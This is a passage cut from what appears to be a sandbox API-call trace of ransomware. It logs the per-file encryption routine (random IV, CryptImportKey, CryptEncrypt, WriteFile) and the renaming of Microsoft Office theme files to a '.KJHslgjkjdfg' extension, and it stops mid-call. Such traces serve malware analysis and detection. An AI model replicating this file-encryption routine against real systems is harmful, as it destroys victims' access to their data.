lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0180.767] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.767] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.767] GetProcessHeap () returned 0x2ef0000 [0180.767] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0180.767] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0180.767] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.767] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0180.770] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0180.770] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0180.770] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0180.770] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0180.770] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0180.770] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.770] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.770] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.770] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa2c, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xa2c, lpOverlapped=0x0) returned 1 [0180.770] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa30, dwBufLen=0xa30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa30) returned 1 [0180.771] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.771] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xa30, lpOverlapped=0x0) returned 1 [0180.771] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.771] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.771] SetEndOfFile (hFile=0x12c) returned 1 [0180.774] GetProcessHeap () returned 0x2ef0000 [0180.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0180.774] GetProcessHeap () returned 0x2ef0000 [0180.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0180.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.kjhslgjkjdfg")) returned 1 [0180.775] CloseHandle (hObject=0x12c) returned 1 [0180.775] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0180.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.776] GetProcessHeap () returned 0x2ef0000 [0180.776] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0180.776] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0180.776] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0180.776] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.776] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.776] GetProcessHeap () returned 0x2ef0000 [0180.776] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0180.776] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0180.776] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.776] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0180.922] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0180.922] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0180.922] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0180.922] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0180.922] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0180.922] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.922] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.922] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.922] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x101e0, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x101e0, lpOverlapped=0x0) returned 1 [0181.917] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x101e0, dwBufLen=0x101e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x101e0) returned 1 [0181.918] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.918] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x101e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x101e0, lpOverlapped=0x0) returned 1 [0181.918] CryptDestroyKey (hKey=0x2f18308) returned 1 [0181.918] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x102a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.918] SetEndOfFile (hFile=0x12c) returned 1 [0181.920] GetProcessHeap () returned 0x2ef0000 [0181.920] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0181.920] GetProcessHeap () returned 0x2ef0000 [0181.920] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0181.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.kjhslgjkjdfg")) returned 1 [0183.090] CloseHandle (hObject=0x12c) returned 1 [0183.091] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0183.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0183.091] GetProcessHeap () returned 0x2ef0000 [0183.091] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0183.091] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0183.091] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0183.091] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0183.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0183.093] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0183.093] GetProcessHeap () returned 0x2ef0000 [0183.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0183.093] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0183.093] CryptDestroyKey (hKey=0x2f18308) returned 1 [0183.093] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0183.093] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0183.093] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0183.093] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0183.093] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0183.093] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0183.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0183.093] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0183.093] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.094] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e7, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1e7, lpOverlapped=0x0) returned 1 [0183.094] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1f0) returned 1 [0183.094] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.094] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1f0, lpOverlapped=0x0) returned 1 [0183.094] CryptDestroyKey (hKey=0x2f18308) returned 1 [0183.094] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.094] SetEndOfFile (hFile=0x12c) returned 1 [0183.096] GetProcessHeap () returned 0x2ef0000 [0183.096] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0183.096] GetProcessHeap () returned 0x2ef0000 [0183.096] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0183.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.kjhslgjkjdfg")) returned 1 [0183.099] CloseHandle (hObject=0x12c) returned 1 [0183.099] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0183.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0183.100] GetProcessHeap () returned 0x2ef0000 [0183.100] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0183.100] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0183.100] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0183.100] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0184.253] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0184.254] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0184.254] GetProcessHeap () returned 0x2ef0000 [0184.254] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0184.254] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0184.254] CryptDestroyKey (hKey=0x2f18308) returned 1 [0184.254] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0184.509] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0184.510] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0184.510] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0184.510] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0184.510] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0184.510] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0184.510] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0184.510] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.510] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce7, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x7ce7, lpOverlapped=0x0) returned 1 [0184.570] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7cf0, dwBufLen=0x7cf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7cf0) returned 1 [0184.570] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.570] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7cf0, lpOverlapped=0x0) returned 1 [0184.570] CryptDestroyKey (hKey=0x2f18308) returned 1 [0184.570] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.571] SetEndOfFile (hFile=0x12c) returned 1 [0184.573] GetProcessHeap () returned 0x2ef0000 [0184.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0184.573] GetProcessHeap () returned 0x2ef0000 [0184.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0184.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0184.574] CloseHandle (hObject=0x12c) returned 1 [0184.576] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0184.581] GetProcessHeap () returned 0x2ef0000 [0184.581] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0184.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0184.581] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0184.581] CryptDestroyKey (hKey=0x2f18308) returned 1 [0184.581] GetProcessHeap () returned 0x2ef0000 [0184.582] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0184.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0184.582] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0184.582] CryptDestroyKey (hKey=0x2f18308) returned 1 [0184.582] GetProcessHeap () returned 0x2ef0000 [0184.582] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0184.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0184.582] CryptDecrypt 